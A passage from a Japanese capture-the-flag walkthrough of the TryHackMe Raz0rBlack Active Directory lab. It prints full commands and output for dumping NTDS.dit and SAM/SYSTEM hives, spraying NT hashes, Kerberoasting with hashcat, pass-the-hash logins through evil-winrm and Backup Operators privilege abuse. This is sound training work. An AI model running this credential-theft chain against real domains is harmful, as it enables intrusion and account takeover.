そこで、Flagを取得する際のフラグ名がsbradleyだったことを思い出してください。もしかしたら、それがヒントなのかもしれません。そこでパスワードは変えずに、ユーザ名だけ、sbradleyに変更してみて、検証してみることにします。
ユーザー名を変更し、Sambaを調べてみると、興味深い出力がありました。
$ nxc smb [target_ip] -u 'sbradley' -p '[cracked_password]'
SMB [target_ip] 445 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:None) (Null Auth:True)
SMB [target_ip] 445 HAVEN-DC [-] raz0rblack.thm\sbradley:[cracked_password] STATUS_PASSWORD_MUST_CHANGE
よくみると、STATUS_PASSWORD_MUST_CHANGEになっています。
これは古いパスワードの有効期限が切れたため、このように変更をお願いされているログであることがわかります。
SMB [target_ip] 445 HAVEN-DC [-] raz0rblack.thm\sbradley:[cracked_password] STATUS_PASSWORD_MUST_CHANGE
そのため、impacket-changepasswdを用いて、新規パスワード登録を試みることができます。
$ impacket-changepasswd raz0rblack.thm/sbradley:'roastpotatoes'@[target_ip] -newpass 'Raz0rBlack!2024'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Changing the password of raz0rblack.thm\sbradley
[*] Connecting to DCE/RPC as raz0rblack.thm\sbradley
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.
ここで、パスワードを再登録するための条件があるため、Raz0rBlack!2024のようなパスワードで変更を行います。すると、パスワード変更に成功します。
設定したパスワードを用いて、Samabaの調査を再実行します。
$ nxc smb [target_ip] -u 'sbradley' -p 'Raz0rBlack!2024' --shares
SMB [target_ip] 445 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:None) (Null Auth:True)
SMB [target_ip] 445 HAVEN-DC [+] raz0rblack.thm\sbradley:Raz0rBlack!2024
SMB [target_ip] 445 HAVEN-DC [*] Enumerated shares
SMB [target_ip] 445 HAVEN-DC Share Permissions Remark
SMB [target_ip] 445 HAVEN-DC ----- ----------- ------
SMB [target_ip] 445 HAVEN-DC ADMIN$ Remote Admin
SMB [target_ip] 445 HAVEN-DC C$ Default share
SMB [target_ip] 445 HAVEN-DC IPC$ READ Remote IPC
SMB [target_ip] 445 HAVEN-DC NETLOGON READ Logon server share
SMB [target_ip] 445 HAVEN-DC SYSVOL READ Logon server share
SMB [target_ip] 445 HAVEN-DC trash READ Files Pending for deletion
すると、Samaba経由で共有されているフォルダが出力され、実際にパスワード変更されたことができました。
実際にsmbclinentを用いて、Samabaと疎通したところ以下のようなファイルが入っていました。
$ smbclient //[target_ip]/trash -U sbradley
Password for [WORKGROUP\sbradley]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Tue Mar 16 15:01:28 2021
.. D 0 Tue Mar 16 15:01:28 2021
chat_log_20210222143423.txt A 1340 Fri Feb 26 04:29:05 2021
experiment_gone_wrong.zip A 18927164 Tue Mar 16 15:02:20 2021
sbradley.txt A 37 Sun Feb 28 04:24:21 2021
5101823 blocks of size 4096. 907681 blocks available
smb: \>
これらをmgetやgetコマンドでコピーして、sbradley.txtを見るとフラグが入っています。
What is Steven's Flag?
Answer:
THM{XXXXXX}
また、experiment_gone_wrong.zipというzipファイルが含まれているため、fcrackを用いて、こちらもパスワードクラックを試みます。
$ fcrackzip -vDup /usr/share/wordlists/rockyou.txt ./experiment_gone_wrong.zip
found file 'system.hive', (size cp/uc 2941739/16281600, flags 9, chk 591c)
found file 'ntds.dit', (size cp/uc 15985077/58720256, flags 9, chk 5873)
checking pw furn2538
PASSWORD FOUND!!!!: pw == [cracked_password2]
ここで、もう一つの問いについても答えることができます。
What is the zip file's password?
Answer:
XXXXXXXXXXXXXXXXXXXXXX
そして、もう一つ大事なことがあります。それは、先ほどのexperiment_gone_wrong.zipにsystem.hiveとntds.ditが入っていることです。
また、chat_log_20210222143423.txtを閲覧すると、この環境にはCVE-2020-1472という脆弱性があるらしく、「Zerologon」と呼ばれる認証されていない攻撃者がドメインコントローラに接続し、ドメイン管理者権限を取得することが可能になります。ただ、今回の場合、ドメインコントローラに接続せずとも、system.hiveとntds.ditがあるため、これのシークレットをダンプすることでNTLMハッシュを割り出せるかもしれません。
ただ、PoCを動かすのも面倒でしょう。そこでimpacketのツール群がまた使えてしまいます。
以下のコマンドを実行することで、NTLMハッシュをダンプすることができます。
$ impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x17a0a12951d502bb3c14cf1d495a71ad
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 84bf0a79cd645db4f94b24c35cfdf7c7
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1afedc472d0fdfe07cd075d36804efd0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HAVEN-DC$:1000:aad3b435b51404eeaad3b435b51404ee:4ea59b8f64c94ec66ddcfc4e6e5899f9:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:703a365974d7c3eeb80e11dd27fb0cb3:::
RAZ0RBLACK\j.smith:4549:aad3b435b51404eeaad3b435b51404ee:da3542420eff7cfab8305a68b7da7043:::
RAZ0RBLACK\j.johnson:4550:aad3b435b51404eeaad3b435b51404ee:c378739d7c136c1281d06183665
このことから、再利用するために少し加工を施します。
$ impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL > secretsdump.txt
$ cat secretsdump.txt | cut -d ":" -f 4 > nthashes.txt
ここで思い出してください。ljudmila vetrovaがAdmin権限を持っており、NTハッシュを総当たりすることでもしかしたら、有効な資格情報を取得できるかもしれません。
以下のコマンドを使用し、実際に有効な資格情報を調べてみましょう。
$ nxc smb [target_ip] -u 'lvetrova' -H nthashes.txt
SMB [target_ip] 445 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:None) (Null Auth:True)
SMB [target_ip] 445 HAVEN-DC [-] Invalid NTLM hash length on line 1 (len 74): Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
SMB [target_ip] 445 HAVEN-DC [-] Invalid NTLM hash length on line 4 (len 7): nthash)
SMB [target_ip] 445 HAVEN-DC [-] Invalid NTLM hash length on line 5 (len 37): [*] Searching for pekList, be patient
SMB [target_ip] 445 HAVEN-DC [-] Invalid NTLM hash length on line 7 (len 47): [*] Reading and decrypting hashes from ntds.dit
SMB [target_ip] 445 HAVEN-DC [-] Invalid NTLM hash length on line 1874 (len 31): [*] Kerberos keys from ntds.dit
SMB [target_ip] 445 HAVEN-DC [-] Invalid NTLM hash length on line 6672 (len 18): [*] Cleaning up...
SMB [target_ip] 445 HAVEN-DC [-] raz0rblack.thm\lvetrova: STATUS_LOGON_FAILURE
SMB [target_ip] 445 HAVEN-DC [-] raz0rblack.thm\lvetrova: STATUS_LOGON_FAILURE
SMB [target_ip] 445 HAVEN-DC [-] raz0rblack.thm\lvetrova: STATUS_LOGON_FAILURE
....
....
....
SMB [target_ip] 445 HAVEN-DC [-] raz0rblack.thm\lvetrova:081af9630677a387f6f0a9bb17852602 STATUS_LOGON_FAILURE
SMB [target_ip] 445 HAVEN-DC [-] raz0rblack.thm\lvetrova:c184a72ed800899bc1ff633778a89b5e STATUS_LOGON_FAILURE
SMB [target_ip] 445 HAVEN-DC [+] raz0rblack.thm\lvetrova:[cracked_nthash]
すると、lvetorava(ljudmila vetrova)のNTハッシュを特定することに成功しました。
What is Ljudmila's Hash?
Answer:
[cracked_nthash]
したがって、実際にActive Directory環境に、evil-winrmでアクセスしてみましょう。
$ evil-winrm -u 'lvetrova' -H [cracked_nthash] -i
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\lvetrova\Documents>
よって、Active Directoryサーバーにアクセスすることができました。
cdコマンドを使用し、一個戻るとlvetrova.xmlというXMLファイルがあります。
見てみましょう。
*Evil-WinRM* PS C:\Users\lvetrova> cat lvetrova.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">Your Flag is here =></S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009db56a0543f441469fc81aadb02945d20000000002000000000003660000c000000010000000069a026f82c590fa867556fe4495ca870000000004800000a0000000100000003b5bf64299ad06afde3fc9d6efe72d35500000002828ad79f53f3f38ceb3d8a8c41179a54dc94cab7b17ba52d0b9fc62dfd4a205f2bba2688e8e67e5cbc6d6584496d107b4307469b95eb3fdfd855abe27334a5fe32a8b35a3a0b6424081e14dc387902414000000e6e36273726b3c093bbbb4e976392a874772576d</SS>
</Props>
</Obj>
</Objs>
このように、DPAPI (Data Protection API) というWindowsの機能で暗号化されていそうなので、復元します。
*Evil-WinRM* PS C:\Users\lvetrova> $cred = Import-Clixml -Path .\lvetrova.xml # XMLファイルをインポートしてオブジェクトに戻す
*Evil-WinRM* PS C:\Users\lvetrova> $cred.GetNetworkCredential().Password # 暗号化されたパスワードをプレーンテキストに変換して表示
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
*Evil-WinRM* PS C:\Users\lvetrova>
解読することで、フラグを取得することができました。
What is Ljudmila's Flag?
Answer:
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
Lateral Movement
先ほどのLjudmiliaの資格情報を用いて、何かしらのHashが抜けないか調べてみます。
$ impacket-GetUserSPNs raz0rblack.thm/lvetrova -hashes :[cracked_nthash] -dc-ip [target_ip] -request
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
------------------------------------- ------- ---------------------------------------------------------- -------------------------- --------- ----------
HAVEN-DC/xyan1d3.raz0rblack.thm:60111 xyan1d3 CN=Remote Management Users,CN=Builtin,DC=raz0rblack,DC=thm 2021-02-24 00:17:17.715160 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*xyan1d3$RAZ0RBLACK.THM$raz0rblack.thm/xyan1d3*$03a5cfedc35d07db34e9c4f566d32767$030dc35d343a987f49a0e4716e48863157c70f3a3957a166c7d5f97913098f24026e46b74dc759ae46c3b0716b22bca7ec88523dbfede74e7d6d57b4f113947d12a0f00dd2e122379e59e1f6156f0937f21646f499584d730de235f523b9c162dfdfb009f331e57ce8c48ed96a90ecc278677336748d6a86bbb37ab860724e8165619e1c6bbc4d3e50070710c7594d17304ccb1ce4ae1783a9844218a9c2f324559734af59f7ba8d7e45fe8b59a9658dde7cd9feaadcacba1960b201d69896d796abd10bc29880ada6faea5b7aae45b3151e2547b73bcd385c21ac9de60f874b68e0392dfcbbb1312f3d32480cf2d291d33943930656576e9b6fd9481f568707f8fb90bb0f38c7496b823c0bf4fd76490e965cc565bfbbfcf8a3836d7d3db4a93429227b5ce5356bb41da8ccc7afac193d4994e2c476616f4c9cc595f85a6223d361761024e9ec133fc15f995b13f195a279c8ae9fe3ee2450974475faffb386263e6d71caeef4918c5265e5a10884409c00c0f89bfa2539fac8e2ad5a3226e988f548ae26c6de75b4d692845dcbdf5a457f497bd69581c43ef7041026fc1f4159a5f63aeeb82dced9b69ec890323b6d26735d645764a4cb6ed7f946a9d073e6f58283ae061bda35b93b942d1312eb8c8231c980edb25a0f2a91c307b9122ffe16706aa52cadc6d066bde1cff93024df9c02ecdb3309205c34a6bf87bb0f037836e53b24b5c617bfe12a28eb09a13346247575b3a2db01dd14510b0cab64cf477cc1806c0972f1e3ff619db2029bd104c9c4bd8c0d9cc3dbd551bb9d671999818ced900e66d8d7535a2dc14e205d3f2622291a91a6fc9b769290d0d89bbc659d0c6cda404fb51cfa2ffeb5599f2d445ba8153e9b7a2d32fe065b83567a78a805a0663510c35138013a286946d5b5597576c081ab224cfe0bafb09f27377bc3e61cc02d4c25c3461c93540695e96b0f87b9c8c3338f5f2a399dfe40e5512f087dd019ab33924075f90cf68b2466acdc068a1a37ab64622e56539cf96532d25a0a945d1f54c909bb487a5a2994d5b394b3492a041b759d0a4234afc9b89725d1828b80046786eb28f5ca0e7880399506fe991a4f19266bb0cbac940c7a88c947dc4a2f5494d0a8b23747f4ea1e0531df13245bf25e41634f736d4f7ef82dbd397744479020747482a599c7f3393f504f2e706d349e39a7eda638485e8030f463d30e3eba988a7ebaec5f1f624966cb89928850814c1558c93b59d0fcc158b57105795f8d7a0b509867e33872deb6d0c24f63cc913e377dbfd696c7a0e5d12bfcf1537f2da516e9edc602ef040da190e0bb4ed896390545ac15db0ef78612af7fa2c4498dba7c0c19de4833018ab0a84c5e2b9f53c7831aac9ca47aa4203cfcc3e3cf3a4f9b18f4d570b5f673c3e84960
すると、なんとxyan1d3というユーザーのTGSチケットを抜くことに成功してしまいました。
実際に解読してみましょう。
$ hashcat -m 13100 xyan1d3.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-AMD Ryzen 5 PRO 8640HS w/ Radeon 760M Graphics, 4779/9558 MB (2048 MB allocatable), 12MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 515 MB (7461 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$krb5tgs$23$*xyan1d3$RAZ0RBLACK.THM$raz0rblack.thm/xyan1d3*$03a5cfedc35d07db34e9c4f566d32767$030dc35d343a987f49a0e4716e48863157c70f3a3957a166c7d5f97913098f24026e46b74dc759ae46c3b0716b22bca7ec88523dbfede74e7d6d57b4f113947d12a0f00dd2e122379e59e1f6156f0937f21646f499584d730de235f523b9c162dfdfb009f331e57ce8c48ed96a90ecc278677336748d6a86bbb37ab860724e8165619e1c6bbc4d3e50070710c7594d17304ccb1ce4ae1783a9844218a9c2f324559734af59f7ba8d7e45fe8b59a9658dde7cd9feaadcacba1960b201d69896d796abd10bc29880ada6faea5b7aae45b3151e2547b73bcd385c21ac9de60f874b68e0392dfcbbb1312f3d32480cf2d291d33943930656576e9b6fd9481f568707f8fb90bb0f38c7496b823c0bf4fd76490e965cc565bfbbfcf8a3836d7d3db4a93429227b5ce5356bb41da8ccc7afac193d4994e2c476616f4c9cc595f85a6223d361761024e9ec133fc15f995b13f195a279c8ae9fe3ee2450974475faffb386263e6d71caeef4918c5265e5a10884409c00c0f89bfa2539fac8e2ad5a3226e988f548ae26c6de75b4d692845dcbdf5a457f497bd69581c43ef7041026fc1f4159a5f63aeeb82dced9b69ec890323b6d26735d645764a4cb6ed7f946a9d073e6f58283ae061bda35b93b942d1312eb8c8231c980edb25a0f2a91c307b9122ffe16706aa52cadc6d066bde1cff93024df9c02ecdb3309205c34a6bf87bb0f037836e53b24b5c617bfe12a28eb09a13346247575b3a2db01dd14510b0cab64cf477cc1806c0972f1e3ff619db2029bd104c9c4bd8c0d9cc3dbd551bb9d671999818ced900e66d8d7535a2dc14e205d3f2622291a91a6fc9b769290d0d89bbc659d0c6cda404fb51cfa2ffeb5599f2d445ba8153e9b7a2d32fe065b83567a78a805a0663510c35138013a286946d5b5597576c081ab224cfe0bafb09f27377bc3e61cc02d4c25c3461c93540695e96b0f87b9c8c3338f5f2a399dfe40e5512f087dd019ab33924075f90cf68b2466acdc068a1a37ab64622e56539cf96532d25a0a945d1f54c909bb487a5a2994d5b394b3492a041b759d0a4234afc9b89725d1828b80046786eb28f5ca0e7880399506fe991a4f19266bb0cbac940c7a88c947dc4a2f5494d0a8b23747f4ea1e0531df13245bf25e41634f736d4f7ef82dbd397744479020747482a599c7f3393f504f2e706d349e39a7eda638485e8030f463d30e3eba988a7ebaec5f1f624966cb89928850814c1558c93b59d0fcc158b57105795f8d7a0b509867e33872deb6d0c24f63cc913e377dbfd696c7a0e5d12bfcf1537f2da516e9edc602ef040da190e0bb4ed896390545ac15db0ef78612af7fa2c4498dba7c0c19de4833018ab0a84c5e2b9f53c7831aac9ca47aa4203cfcc3e3cf3a4f9b18f4d570b5f673c3e84960:[cracked_password3]
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*xyan1d3$RAZ0RBLACK.THM$raz0rblack.thm/...e84960
Time.Started.....: Thu Apr 16 01:32:16 2026 (2 secs)
Time.Estimated...: Thu Apr 16 01:32:18 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 6177.4 kH/s (1.31ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 8871936/14344385 (61.85%)
Rejected.........: 0/8871936 (0.00%)
Restore.Point....: 8859648/14344385 (61.76%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: d.a.n.15 -> cv152007s
Hardware.Mon.#01.: Temp: 73c Util: 66%
Started: Thu Apr 16 01:32:06 2026
Stopped: Thu Apr 16 01:32:19 2026
よって、xyan1d3のパスワードも解読することができました。
What is Xyan1d3's password?
Answer:
[cracked_password3]
特定した資格情報を用いて、実際にActive Direcotoryにアクセス可能かを確かめてみましょう。
$ evil-winrm -u 'xyan1d3' -p '[cracked_password3]' -i [target_ip]
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\xyan1d3\Documents>
よって、Active Directoryサーバーにアクセスし、横展開に成功しました。
また、同じようにxyan1d3.xmlというXMLファイルがあるので、同様に見てみましょう。
*Evil-WinRM* PS C:\Users\xyan1d3> dir
Directory: C:\Users\xyan1d3
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 9/15/2018 12:19 AM Desktop
d-r--- 2/25/2021 9:34 AM Documents
d-r--- 9/15/2018 12:19 AM Downloads
d-r--- 9/15/2018 12:19 AM Favorites
d-r--- 9/15/2018 12:19 AM Links
d-r--- 9/15/2018 12:19 AM Music
d-r--- 9/15/2018 12:19 AM Pictures
d----- 9/15/2018 12:19 AM Saved Games
d-r--- 9/15/2018 12:19 AM Videos
-a---- 2/25/2021 9:33 AM 1826 xyan1d3.xml
*Evil-WinRM* PS C:\Users\xyan1d3> cat xyan1d3.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">Nope your flag is not here</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000006bc3424112257a48aa7937963e14ed790000000002000000000003660000c000000010000000f098beb903e1a489eed98b779f3c70b80000000004800000a000000010000000e59705c44a560ce4c53e837d111bb39970000000feda9c94c6cd1687ffded5f438c59b080362e7e2fe0d9be8d2ab96ec7895303d167d5b38ce255ac6c01d7ac510ef662e48c53d3c89645053599c00d9e8a15598e8109d23a91a8663f886de1ba405806944f3f7e7df84091af0c73a4effac97ad05a3d6822cdeb06d4f415ba19587574f1400000051021e80fd5264d9730df52d2567cd7285726da2</SS>
</Props>
</Obj>
</Objs>
また、謎の文字列が並んでいることがわかります。これもさっきのと同様に解読してみます。
*Evil-WinRM* PS C:\Users\xyan1d3> $cred = Import-Clixml -Path .\xyan1d3.xml
*Evil-WinRM* PS C:\Users\xyan1d3> $cred.GetNetworkCredential().Password
LOL here it is -> THM{XXXXXXXXXXXXXXXXXXXXXXXXXX}
すると、解読に成功しました。
What is Xyan1d3's Flag?
Answer:
THM{XXXXXXXXXXXXXXXXXXXXXXXXXX}
Privilege Escalation
ここで、思い出してください。
xyan1d3.xmlのTGSでアクセスできたということはドメインコントローラに直接要求しているため、サーバー内にアクセスできるということはドメインコントローラを色々調べられそうです。
試しに、このユーザーがどんな権限なのか、どのグループに所属しているのかを見てみましょう。
*Evil-WinRM* PS C:\Users> whoami /all
USER INFORMATION
----------------
User Name SID
================== ============================================
raz0rblack\xyan1d3 S-1-5-21-3403444377-2687699443-13012745-1106
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
よって、このユーザーは、SeBackupPrivilegeとSeRestorePrivilegeが有効になっており、BUILTIN\Backup Operatorsに所属していることも判明します。
これは、バックアップデータから、ドメインコントローラのSAMとそれを復元するための鍵(SYSTEM)をダンプすることができそうです。
実際にダウンロードを行います。
*Evil-WinRM* PS C:\Users> reg save hklm\sam sam.bak # SAM(ユーザーハッシュの保管場所)を保存
*Evil-WinRM* PS C:\Users> reg save hklm\system system.bak # SYSTEM(SAMを復号するための鍵)を保存
*Evil-WinRM* PS C:\Users> download sam.bak
*Evil-WinRM* PS C:\Users> download system.bak
そして、impacket-secretdumpでダウプを試みます。
$ impacket-secretsdump -sam sam.bak -system system.bak LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xf1582a79dd00631b701d3d15e75e59f6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[cracked_nthash2]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...
すると、AdministratorのNTLMハッシュを復元することに成功しました。
実際にこの資格情報を用いて、アクセスをしてみましょう
$ evil-winrm -i [target_ip] -u Administrator -H [cracked_nthash2]
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
よって、Administratorの資格情報でActive Directoryにアクセスすることができました。
また、同じようにroot.xmlというXMLファイルがあるので、同様に見てみましょう。
*Evil-WinRM* PS C:\Users\Administrator> cat root.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">Administrator</S>
<SS N="Password">44616d6e20796f752061726520612067656e6975732e0a4275742c20492061706f6c6f67697a6520666f72206368656174696e6720796f75206c696b6520746869732e0a0a4865726520697320796f757220526f6f7420466c61670a54484d7b31623466343663633466626134363334383237336431386463393164613230647d0a0a546167206d65206f6e2068747470733a2f2f747769747465722e636f6d2f5879616e3164332061626f75742077686174207061727420796f7520656e6a6f796564206f6e207468697320626f7820616e642077686174207061727420796f75207374727567676c656420776974682e0a0a496620796f7520656e6a6f796564207468697320626f7820796f75206d617920616c736f2074616b652061206c6f6f6b20617420746865206c696e75786167656e637920726f6f6d20696e207472796861636b6d652e0a576869636820636f6e7461696e7320736f6d65206c696e75782066756e64616d656e74616c7320616e642070726976696c65676520657363616c6174696f6e2068747470733a2f2f7472796861636b6d652e636f6d2f726f6f6d2f6c696e75786167656e63792e0a</SS>
</Obj>
</Objs>
最後は、DPAPIの暗号化ですらなく、「16進数(Hex)での難読化」という、ステガノグラフィを得意とするこのルームらしい小粋な仕掛けでした。
解読を試みます。
$ echo "44616d6e20796f752061726520612067656e6975732e0a4275742c20492061706f6c6f67697a6520666f72206368656174696e6720796f75206c696b6520746869732e0a0a4865726520697320796f757220526f6f7420466c61670a54484d7b31623466343663633466626134363334383237336431386463393164613230647d0a0a546167206d65206f6e2068747470733a2f2f747769747465722e636f6d2f5879616e3164332061626f75742077686174207061727420796f7520656e6a6f796564206f6e207468697320626f7820616e642077686174207061727420796f75207374727567676c656420776974682e0a0a496620796f7520656e6a6f796564207468697320626f7820796f75206d617920616c736f2074616b652061206c6f6f6b20617420746865206c696e75786167656e637920726f6f6d20696e207472796861636b6d652e0a576869636820636f6e7461696e7320736f6d65206c696e75782066756e64616d656e74616c7320616e642070726976696c65676520657363616c6174696f6e2068747470733a2f2f7472796861636b6d652e636f6d2f726f6f6d2f6c696e75786167656e63792e0a" | xxd -r -p
Damn you are a genius.
But, I apologize for cheating you like this.
Here is your Root Flag
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
Tag me on https://twitter.com/Xyan1d3 about what part you enjoyed on this box and what part you struggled with.
If you enjoyed this box you may also take a look at the linuxagency room in tryhackme.
Which contains some linux fundamentals and privilege escalation https://tryhackme.com/room/linuxagency.
よって、rootフラグを取得できました。
What is the root Flag?
Answer:
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
また、次の問いであるTysonについても調べます。
*Evil-WinRM* PS C:\> Get-ADUser -Filter * -Properties * | Select-Object Name, Description, DisplayName, Note | Where-Object { $_ -match "tyson" }
Name Description DisplayName Note
---- ----------- ----------- ----
Tyson Williams Tyson Williams {}
どうやらいるようですね。もう一回、twilliamsの資格情報でevil-winrmを使用し、接続後、以下のようなディレクトリに謎のファイルがあります。
*Evil-WinRM* PS C:\Users\twilliams> type definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_not_a_flag.exe
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
よって、次のフラグも見つけることができました。
What is Tyson's Flag?
Answer:
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
また、以下のような謎のフォルダもありました。
*Evil-WinRM* PS C:\Program Files> dir
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/21/2021 11:45 AM Amazon
d----- 2/23/2021 6:27 AM Common Files
d----- 5/21/2021 9:39 AM internet explorer
d----- 2/25/2021 10:13 AM Top Secret
d----- 5/21/2021 11:41 AM VMware
d-r--- 5/21/2021 9:39 AM Windows Defender
d----- 5/21/2021 9:39 AM Windows Defender Advanced Threat Protection
d----- 9/15/2018 12:19 AM Windows Mail
d----- 5/21/2021 9:39 AM Windows Media Player
d----- 9/15/2018 12:19 AM Windows Multimedia Platform
d----- 9/15/2018 12:28 AM windows nt
d----- 5/21/2021 9:39 AM Windows Photo Viewer
d----- 9/15/2018 12:19 AM Windows Portable Devices
d----- 9/15/2018 12:19 AM Windows Security
d----- 9/15/2018 12:19 AM WindowsPowerShell
C:\Program Files\Top Secret\top_secret.pngをダウンロードします。
*Evil-WinRM* PS C:\Program Files\Top Secret> dir
Directory: C:\Program Files\Top Secret
